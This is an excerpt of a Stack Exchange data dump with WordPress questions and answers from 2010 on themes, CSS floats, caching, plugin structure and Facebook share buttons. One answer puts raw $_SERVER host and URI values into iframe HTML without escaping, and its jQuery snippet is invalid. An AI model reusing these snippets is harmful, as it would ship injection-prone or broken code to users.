  <row Id="1182" PostTypeId="2" ParentId="290" CreationDate="2010-09-01T14:23:47.153" Score="0" ViewCount="" Body="&lt;p&gt;If your interested in a good 'Lab Exercise' for trying out the steps described above. There is nice &lt;a href=&quot;http://aaron.jorb.in/blog/2010/04/introducing-thirty-ten/&quot; rel=&quot;nofollow&quot;&gt;step by step guide for creating a child theme off the default WordPress 3.x delivered theme twentyten&lt;/a&gt;. It is a simple but useful child theme (named thirtyten). The result extends twentyten theme from a two column theme to a three column theme. It also has some new header pictures.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-01T14:23:47.153" />
  <row Id="1183" PostTypeId="2" ParentId="1178" CreationDate="2010-09-01T14:29:38.737" Score="0" ViewCount="" Body="&lt;p&gt;I once did extend the screen panels, putting a third one next to screen and help. But that was mainly by javascript. So you can remove them with javscript I'm sure. There were no hooks or so, that's why I opened a ticket as well with a patch because I thought that it would be useful to have. I got some traction lately, so maybe this feature will be implemented in 3.1 / 3.2:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/9657&quot; rel=&quot;nofollow&quot;&gt;Ticket #9657 - Allow custom screen_meta dropdown panels&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe the patch still works so you can apply the patch and use the hooks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some kind of related / master ticket is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/11517&quot; rel=&quot;nofollow&quot;&gt;Ticket #11517 - Make Admin more MVC-like&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-01T14:29:38.737" />
  <row Id="1184" PostTypeId="1" AcceptedAnswerId="1185" CreationDate="2010-09-01T14:35:56.010" Score="0" ViewCount="89" Body="&lt;p&gt;I'm using the default theme and I have a home page coded up like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;text&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;What We Do At Seela Science:&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h3&amp;gt;Class Room Science Curriculum and Kits &amp;lt;/h3&amp;gt;&#xA;&amp;lt;h3&amp;gt;Materials and Manipulative&amp;lt;/h3&amp;gt;&#xA;&amp;lt;h3&amp;gt;Custom Curriculum Alignment&amp;lt;/h3&amp;gt;&#xA;&amp;lt;h3&amp;gt;Staff Development&amp;lt;/h3&amp;gt;&#xA;&amp;lt;h3&amp;gt;Sample our Work&amp;lt;/h3&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;image&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;http://seela.noahc.net/wp-content/uploads/2010/08/corporate-group-1.jpg&quot;&amp;gt;&amp;lt;img class=&quot;alignright size-full wp-image-22&quot; title=&quot;Partnership and team work&quot; src=&quot;http://seela.noahc.net/wp-content/uploads/2010/08/corporate-group-1.jpg&quot; alt=&quot;&quot; width=&quot;40&quot; height=&quot;28&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also have the following in my styles:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#text {&#xA;&#xA;&#xA;}&#xA;&#xA;#image {&#xA;    float: right;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The image appears where it should be vertically, but not horizontally.  What am I doing wrong? The page is here: &lt;a href=&quot;http://seela.noahc.net/&quot; rel=&quot;nofollow&quot;&gt;demopage&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="647" LastActivityDate="2010-09-23T08:28:26.867" Title="Why are my floats not working?" Tags="&lt;themes&gt;&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="1185" PostTypeId="2" ParentId="1184" CreationDate="2010-09-01T14:38:18.333" Score="1" ViewCount="" Body="&lt;p&gt;You need to put the #image div before the #text div.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2010-09-01T14:38:18.333" CommentCount="3" />
  <row Id="1186" PostTypeId="2" ParentId="1177" CreationDate="2010-09-01T14:50:51.723" Score="1" ViewCount="" Body="&lt;p&gt;I was curious about my own comment and have been doing some reading, here is where I am at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, I would give &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; a try. Also, install APC PHP extension on your server and set W3 Total Cache to use it. It will use APC to cache Database objects, PHP, even help minify your CSS and JS. It might provide enough. Especially if you incorporate some MySQL cache already. W3 Total Cache also can work with Memcache as a caching backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Database, caches the queries is very useful. I found &lt;a href=&quot;http://wpmu.org/scaling-wordpress-wpmu-buddypress-like-edublogs/&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; and he explains how he did somethings for his MU blog. To Quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Query Cache is a nifty little feature in MySQL, where it stores — in a dedicated are within main memory — any results of a query for a table which has not recently changes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;That is, assuming a request comes in to retrieve a specific row in a table — and that table has not recently been modified in any way — and the cache has not filled up requiring purging/cleaning — the query/data can be satisfied from this cache. The major benefit here of course is the to satisfy the request — the database does not need to go to the disk (which is generally the slowest part of the system) and can be immediately satisfied.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So this is pretty cool, and will help a lot since the products themselves won't be changing much. Another thing the article mentions is to make sure you have lot so memory to hold the database in Ram, this will help the speed the queries dramatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He also talks about the table types, and using MyISAM over InnoDB for the mostly read-only tables, while this he reasoning is a bit MU oriented, it could be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to setting up the indexes. If you have a lot of them, they can slow down the inserts, and take up more disk space. But as I don't imagine a large amount of products being added on a regular basis, I think this is acceptable. And with disk space being cheap ...&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-09-01T14:50:51.723" CommentCount="1" />
  <row Id="1187" PostTypeId="2" ParentId="715" CreationDate="2010-09-01T14:53:14.293" Score="-1" ViewCount="" Body="&lt;h2&gt;Use some kind of templating mechanism&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Many plugins tend to mingle code and html freely, which makes maintenance and debugging pretty hard. A better way is to put all your html in separate files and use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function parseTemplate($file, $options) {&#xA;    $template = file_get_contents($file);&#xA;    preg_match_all(&quot;!\{([^{]*)\}!&quot;, $template, $matches);&#xA;&#xA;    $replacements = array();&#xA;    for ($i = 0; $i &amp;lt; count($matches[1]); $i++) {&#xA;        $key = $matches[1][$i];&#xA;        if (isset($options[$key])) {&#xA;            $val = $matches[0][$i];&#xA;            $template = str_replace($val, $options[$key], $template);&#xA;        }&#xA;    }&#xA;&#xA;    return $template;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// In mytemplate.html&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h2&amp;gt;{date}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;{text}&amp;lt;/p&amp;gt;&#xA;&#xA;// In your functions.php&#xA;echo parseTemplate(&quot;mytemplate.html&quot;, array(&#xA;    &quot;title&quot; =&amp;gt; $title,&#xA;    &quot;date&quot; =&amp;gt; $date,&#xA;    &quot;text&quot; =&amp;gt; $somethingelse&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="649" LastActivityDate="2010-09-01T14:53:14.293" CommunityOwnedDate="2010-09-01T14:53:14.293" CommentCount="3" />
  <row Id="1188" PostTypeId="1" CreationDate="2010-09-01T14:57:13.433" Score="0" ViewCount="900" Body="&lt;p&gt;I'm creating a &lt;em&gt;&quot;Share this Page&quot;&lt;/em&gt;- widget that needs to &lt;strong&gt;grab the current URL&lt;/strong&gt; and append it to a Facebook URL like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;http://www.facebook.com/sharer.php?u=http://myurl.com/a-specific-page&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm using a regular text widget. How can I access the current URL and put it into the sharing link?&lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T19:01:48.810" LastActivityDate="2011-06-10T14:12:22.203" Title="Accessing the Current URL in a Text Widget for a Facebook Share Button?" Tags="&lt;urls&gt;&lt;facebook&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="1189" PostTypeId="2" ParentId="715" CreationDate="2010-09-01T14:58:59.913" Score="9" ViewCount="" Body="&lt;h2&gt;Use a class and object orientated PHP5 code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There's no reason not to write clean, object-orientated PHP5 code. PHP4 support will phase out after the next release (WP 3.1). Of course, you can prefix all your function names to end up with endlessly_long_function_names_with_lots_of_underscores, but it's much easier to just write a simple class and bundle everything in that. Also, put your class in a seperate file and name it accordingly so you can easily extend and maintain it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// in functions.php&#xA;require 'inc/class-my-cool-plugin.php';&#xA;new MyCoolPlugin();&#xA;&#xA;// in inc/class-my-cool-plugin.php&#xA;class MyCoolPlugin {&#xA;    function __construct() {&#xA;        // add filter hooks, wp_enqueue_script, etc.&#xA;&#xA;        // To assign a method from your class to a WP &#xA;        // function do something like this&#xA;        add_action('admin_menu', array($this, &quot;admin&quot;));&#xA;    }&#xA;&#xA;    public function admin() {&#xA;        // public methods, for use outside of the class&#xA;        // Note that methods used in other WP functions &#xA;        // (such as add_action) should be public&#xA;    }&#xA;&#xA;    private function somethingelse() {&#xA;        // methods you only use inside this class&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="649" LastActivityDate="2010-09-01T14:58:59.913" CommunityOwnedDate="2010-09-01T14:58:59.913" CommentCount="4" />
  <row Id="1190" PostTypeId="2" ParentId="1188" CreationDate="2010-09-01T15:14:59.697" Score="2" ViewCount="" Body="&lt;p&gt;Just use the $_SERVER variables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = add_query_arg( 'u', $_SERVER[&quot;SERVER_NAME&quot;].$_SERVER[&quot;REQUEST_URI&quot;], 'http://www.facebook.com/sharer.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2010-09-01T15:14:59.697" CommentCount="8" />
  <row Id="1192" PostTypeId="2" ParentId="1172" CreationDate="2010-09-01T15:36:37.613" Score="0" ViewCount="" Body="&lt;p&gt;If there's no complicated logic involved in updating the custom fields, you could derive the new values by grabbing their (changed) values from $_POST and combining these with their existing values from the database. Base your processing upon the resulting values.&lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2010-09-01T15:36:37.613" />
  <row Id="1193" PostTypeId="2" ParentId="1188" CreationDate="2010-09-01T15:43:06.917" Score="1" ViewCount="" Body="&lt;p&gt;You can't make the contents of a text widget dynamic like that.&#xA;Get &quot;Executable PHP widget&quot; (http://wordpress.org/extend/plugins/php-code-widget/), for example.&#xA;Now you can add your text etc including php code to insert the variable URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&#xA;Ref &lt;a href=&quot;http://developers.facebook.com/docs/reference/plugins/like&quot; rel=&quot;nofollow&quot;&gt;http://developers.facebook.com/docs/reference/plugins/like&lt;/a&gt;.&#xA;Put this into your &lt;em&gt;php code supporting&lt;/em&gt; widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php global $post; ?&amp;gt;&#xA;&amp;lt;iframe src=&quot;http://www.facebook.com/plugins/like.php?href=&amp;lt;?php echo urlencode(get_permalink($post-&amp;gt;ID)); ?&amp;gt;&amp;amp;amp;layout=standard&amp;amp;amp;show_faces=false&amp;amp;amp;width=450&amp;amp;amp;action=like&amp;amp;amp;colorscheme=light&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowTransparency=&quot;true&quot; style=&quot;border:none; overflow:hidden; width:450px; height:60px;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="653" LastEditorUserId="653" LastEditorDisplayName="" LastEditDate="2010-09-01T19:14:10.810" LastActivityDate="2010-09-01T19:14:10.810" />
  <row Id="1194" PostTypeId="1" CreationDate="2010-09-01T16:38:30.113" Score="0" ViewCount="378" Body="&lt;p&gt;I would like to have a petition on my blog (brand new v3.0.1 install), and searching the plugins I found the 'WordPress Petition Plugin', which I installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin appears to be broken with v3.0.1.  The database tables aren't being created and adding names to the petition fails with a message 'Sorry, someone has already attempted to sign the petition using this e-mail address.'  Like I said, the tables aren't there so the error message isn't correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author hasn't updated the plugin in a year, and has not responded to emails.  I don't have the experience with plugins to fix it.  Is there a guru with some time to look at it?&lt;/p&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T17:57:01.807" LastActivityDate="2010-09-01T17:57:01.807" ClosedDate="2010-09-02T01:56:50.447" Title="Petition plugin for v3.0.1" Tags="&lt;plugins&gt;&lt;3.0.1&gt;" CommentCount="3" />
  <row Id="1195" PostTypeId="1" AcceptedAnswerId="1207" CreationDate="2010-09-01T17:35:21.123" Score="0" ViewCount="258" Body="&lt;p&gt;I am wondering how to prevent WordPress from applying in-line styles to image enclosing div's in posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;img size-medium wp-image-3267 alignright&quot; style=&quot;width:190px;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The post is generated in the theme file by using &lt;code&gt;the_content()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That width declaration is causing my post to display a horizontal scrollbar under the content.  The weird thing is, the horizontal scroll bar only appears if the image is set to align right.  Aligning the image to the left doesn't cause the scroll bars to appear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to remove the scrollbar by setting the .post overflow from 'auto' to 'hidden'.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how WordPress applyies the inline style?  Or how to override it?  For now, I've set .post overflow to be hidden, but I'm worried that down the line, that might bite me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditorDisplayName="" LastEditDate="2010-09-01T18:18:33.333" LastActivityDate="2010-09-01T21:14:43.197" Title="How to Prevent WordPress from Automatically Applying Inline Styles to Post Images?" Tags="&lt;formatting&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="1196" PostTypeId="2" ParentId="1146" CreationDate="2010-09-01T17:58:01.507" Score="1" ViewCount="" Body="&lt;p&gt;I've seen this happen a couple of times where one of the database tables count of posts differs from the actual number and all the posts disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using PHPMyAdmin and go into your WP database.  Look down your columns (I think it's the &quot;Records&quot; column) and see if any of them show corrupt or some other error message.  If so, check the box next to that table name, then at the bottom of the table, select &quot;Repair Table&quot; from the select box that says &quot;With Selected&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's your problem, the above should fix it.&lt;/p&gt;&#xA;" OwnerUserId="834" LastActivityDate="2010-09-01T17:58:01.507" CommentCount="1" />
  <row Id="1197" PostTypeId="1" AcceptedAnswerId="1375" CreationDate="2010-09-01T18:25:55.613" Score="6" ViewCount="346" Body="&lt;p&gt;We're &lt;a href=&quot;http://www.journalism.cuny.edu/&quot; rel=&quot;nofollow&quot;&gt;running a WordPress multisite instance&lt;/a&gt; on two Rackspace Cloud servers, one web and one database, with 30 or so sites currently. I've put Nginx in front for static assets and Apache handles all dynamic requests. I've also configured Memcached for the database and APC op code caching for PHP. W3 Total Cache is enabled by default across all of the sites we have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's wicked fast with one issue: Apache processes regularly weigh in between 80 and 120 MB. The web server has 2 GB of memory, meaning I get 15 or so processes until things go on the fritz. The processes obviously shouldn't be that large but I'm perplexed as to why they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's a good strategy for identifying what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 10/2/10:&lt;/strong&gt; For those wondering, the resolution of the memory issue problem was disabling PHP xdebug (was inadvertently enabled on configuration and caused random memory usage spikes).&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="135" LastEditorDisplayName="" LastEditDate="2010-10-02T14:49:06.387" LastActivityDate="2010-10-02T14:49:06.387" Title="What's the ideal way to profile WordPress memory usage?" Tags="&lt;performance&gt;&lt;memory&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="1198" PostTypeId="1" AcceptedAnswerId="1244" CreationDate="2010-09-01T18:35:18.483" Score="0" ViewCount="402" Body="&lt;p&gt;I'm trying to show child-pages in a certain order, in a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code to output the pages as a list&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parent = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;wp_list_pages(&quot;title_li=&amp;amp;child_of=$parent&amp;amp;echo=1&amp;amp;sort_column=post_title&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I want to show the first four of the pages in a particular order&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-Summary&#xA;-Info&#xA;-Groups&#xA;-Entries&#xA;-Other Page&#xA;-Another Page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words, Summary, Info, Groups, Entries should be shown in that order (providing they exist), and other pages below. How would I achieve that? I've noticed there are parameters to include and exclude pages using wp_list_pages. These parameters take page ID numbers as variables , so I perhaps the pseudo-code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- make a array of the IDs of child pages which include Summary, Info, Groups, Entries in their titles, and order these correctly&#xA;- make a array of the IDs of child pages which don't include the 4 pages&#xA;- join these arrays together&#xA;- print out the html of the array of page IDs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="394" LastEditorUserId="394" LastEditorDisplayName="" LastEditDate="2010-09-01T20:19:02.083" LastActivityDate="2010-09-02T17:54:05.403" Title="Listing Child Pages in a Certain Order?" Tags="&lt;custom-menus&gt;" AnswerCount="4" />
  <row Id="1199" PostTypeId="1" CreationDate="2010-09-01T18:44:05.323" Score="1" ViewCount="157" Body="&lt;p&gt;I have a Google Apps–enabled WordPress site and a subdomain where &lt;a href=&quot;http://www.google.com/enterprise/marketplace/viewListing?productListingId=5143210+6352879591152674960&quot; rel=&quot;nofollow&quot;&gt;Google Short Links&lt;/a&gt; runs. I've been toying with the idea of shortening my own links, but I haven't been able to find a WordPress plugin that hooks into the Short Links API to automatically add new posts as they're published (and maybe old posts too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does a plugin exist to do this? Ideally it would also add a &lt;code&gt;&amp;lt;link rel=&quot;shortlink&quot;&amp;gt;&lt;/code&gt; tag to each page, but I could extend it with code from other plugins to do that. It should store the shortlink somewhere in the database, of course, so other plugins can access the link for tasks like posting to Twitter, Facebook, and so forth.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2011-01-21T09:16:29.153" Title="Plugin for Google Apps &quot;Short Links&quot; service?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="1200" PostTypeId="1" AcceptedAnswerId="1308" CreationDate="2010-09-01T18:55:16.497" Score="0" ViewCount="216" Body="&lt;p&gt;I'm trying to archive my tweets in Wordpress and display recent ones in my sidebar. I've installed the Twitter Tools plugin, configured it, and added its widget to my sidebar. Twitter Tools is creating blog posts for each of my tweets, so I know it is authorized by Twitter successully. However, the sidebar widget just displays &quot;No tweets available at the moment.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the procedure &lt;a href=&quot;http://www.shekhargovindarajan.com/wordpress/a-perfect-integration-of-wordpress-and-twitter/&quot; rel=&quot;nofollow&quot;&gt;described here&lt;/a&gt; to uninstall and reinstall Twitter Tools to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also using the Ultimate Category Excluder plugin to exclude the tweet posts from my feed and homepage. I'm worried that might be the problem but others seem to be using this setup successfully. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="158" LastActivityDate="2010-09-03T18:13:56.197" Title="How do I get the Twitter Tools widget to display my tweets?" Tags="&lt;plugins&gt;&lt;twitter&gt;" AnswerCount="3" />
  <row Id="1201" PostTypeId="2" ParentId="1199" CreationDate="2010-09-01T18:58:02.960" Score="2" ViewCount="" Body="&lt;p&gt;If you're not wedded to Google Short Links, another open source solution to try is &lt;a href=&quot;http://yourls.org/&quot; rel=&quot;nofollow&quot;&gt;YOURLS&lt;/a&gt; which has a WordPress plugin.&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2010-09-01T18:58:02.960" CommentCount="1" />
  <row Id="1202" PostTypeId="2" ParentId="1198" CreationDate="2010-09-01T18:59:12.750" Score="2" ViewCount="" Body="&lt;p&gt;The wp_list_pages() function accepts an argument for 'sort_column', this defaults to menu_order then post_title.  If you quick_edit the pages, you can set the order for each page. &lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-09-01T18:59:12.750" CommentCount="1" />
  <row Id="1203" PostTypeId="2" ParentId="1188" CreationDate="2010-09-01T19:00:12.403" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Rikard:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;@user653&lt;/em&gt; is correct, you can't do it in a text widget with PHP but you can do it in a text widget using &lt;a href=&quot;http://jquery.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;JQuery&lt;/strong&gt;&lt;/a&gt;/Javascript. Here's how.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Starting with the Facebook Share Button HTML&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I assume you plan to use use the &lt;a href=&quot;http://developers.facebook.com/docs/share&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Facebook Share Button&lt;/strong&gt;&lt;/a&gt; and thus will have HTML code in your widget that will look like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a name=&quot;fb_share&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;script src=&quot;http://static.ak.fbcdn.net/connect.php/js/FB.Share&quot;&#xA;        type=&quot;text/javascript&quot;&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Use jQuery and &lt;code&gt;Javascript's windows.location&lt;/code&gt; object.property&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If yes then you can &lt;strong&gt;just add all the following code&lt;/strong&gt; into your widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function($) {&#xA;  $(&quot;fb_share&quot;).attr(&quot;share_url&quot;) = encodeURIComponent(window.location);&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;a name=&quot;fb_share&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;script src=&quot;http://static.ak.fbcdn.net/connect.php/js/FB.Share&quot; type=&quot;text/javascript&quot;&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Be sure to Enqueue jQuery in your Theme's &lt;code&gt;functions.php&lt;/code&gt; File&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;However, in order for the above code to work you will probably need to enqueue the included jQuery script bundled with WordPress add the following line of code into your theme's &lt;code&gt;functions.php&lt;/code&gt; (unless some other plugin is already doing so):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Facebook Like Button as a WordPress Shortcode&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Ironically just I implemented a &lt;strong&gt;&lt;a href=&quot;http://developers.facebook.com/docs/reference/plugins/like&quot; rel=&quot;nofollow&quot;&gt;Facebook Like Button&lt;/a&gt;&lt;/strong&gt; as a &lt;a href=&quot;http://www.smashingmagazine.com/2009/02/02/mastering-wordpress-shortcodes/&quot; rel=&quot;nofollow&quot;&gt;Shortcode&lt;/a&gt; a few days ago for a client so I thought I'd also &lt;em&gt;share&lt;/em&gt; with you (pun intended. ;) You can see how we got the current URL from the &lt;code&gt;$_SERVER&lt;/code&gt; variable. I scarfed this exact code from the &lt;code&gt;redirect_canonical()&lt;/code&gt; function in &lt;code&gt;/wp-includes/canonical.php'&lt;/code&gt;. You can also just include this in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('facebook-like','my_facebook_like_button');&#xA;function my_facebook_like_button($echo=true) {&#xA;  // Generate the HTML required to place a Facebook &quot;Like&quot; button inside a shortcode&#xA;  // See Docs: http://developers.facebook.com/docs/reference/plugins/like&#xA;  $requested_url  = is_ssl() ? 'https://' : 'http://';&#xA;  $requested_url .= $_SERVER['HTTP_HOST'];&#xA;  $requested_url .= $_SERVER['REQUEST_URI'];  &#xA;  $html =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;iframe src=&quot;http://www.facebook.com/plugins/like.php?href={$requested_url}&amp;amp;amp;layout=button_count&amp;amp;amp;show_faces=false&amp;amp;amp;width=60&amp;amp;amp;action=like&amp;amp;amp;font=verdana&amp;amp;amp;colorscheme=light&amp;amp;amp;height=21&amp;amp;amp;ref=blog&quot;&#xA;        scrolling=&quot;no&quot; frameborder=&quot;0&quot;  allowTransparency=&quot;true&quot; style=&quot;border:none; overflow:hidden; width:90px; height:25px&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;HTML;&#xA;  if ($echo)&#xA;    echo $html;&#xA;  else&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;What it Looks Like&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot showing usage. Note that since text widgets &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/do_shortcode#Examples&quot; rel=&quot;nofollow&quot;&gt;don't process the content filters&lt;/a&gt; so the shortcode doesn't work in a text widget. I looked quickly and didn't find a plugin that adds text widgets that can process shortcodes but it wouldn't be hard to write one, or hard to write a widget that just adds a Facebook Share or Like buttons either. FWIW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100901-145010.png&quot; alt=&quot;WordPress Site Screenshot showing Facebook Like and Buttons as Shortcodes and in Text Widgets&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T19:07:34.180" LastActivityDate="2010-09-01T19:07:34.180" />
  <row Id="1204" PostTypeId="2" ParentId="29" CreationDate="2010-09-01T19:19:37.083" Score="1" ViewCount="" Body="&lt;h2&gt;Simplethemes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.simplethemes.com&quot; rel=&quot;nofollow&quot;&gt;http://www.simplethemes.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simplethemes has a couple of free themes, but offers mostly premium themes on a membership basis. Prices range from $39 for membership and includes access to a strong support community.&lt;/p&gt;&#xA;" OwnerUserId="617" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-10-04T20:32:03.540" LastActivityDate="2010-10-04T20:32:03.540" CommunityOwnedDate="2010-09-01T19:19:37.083" />
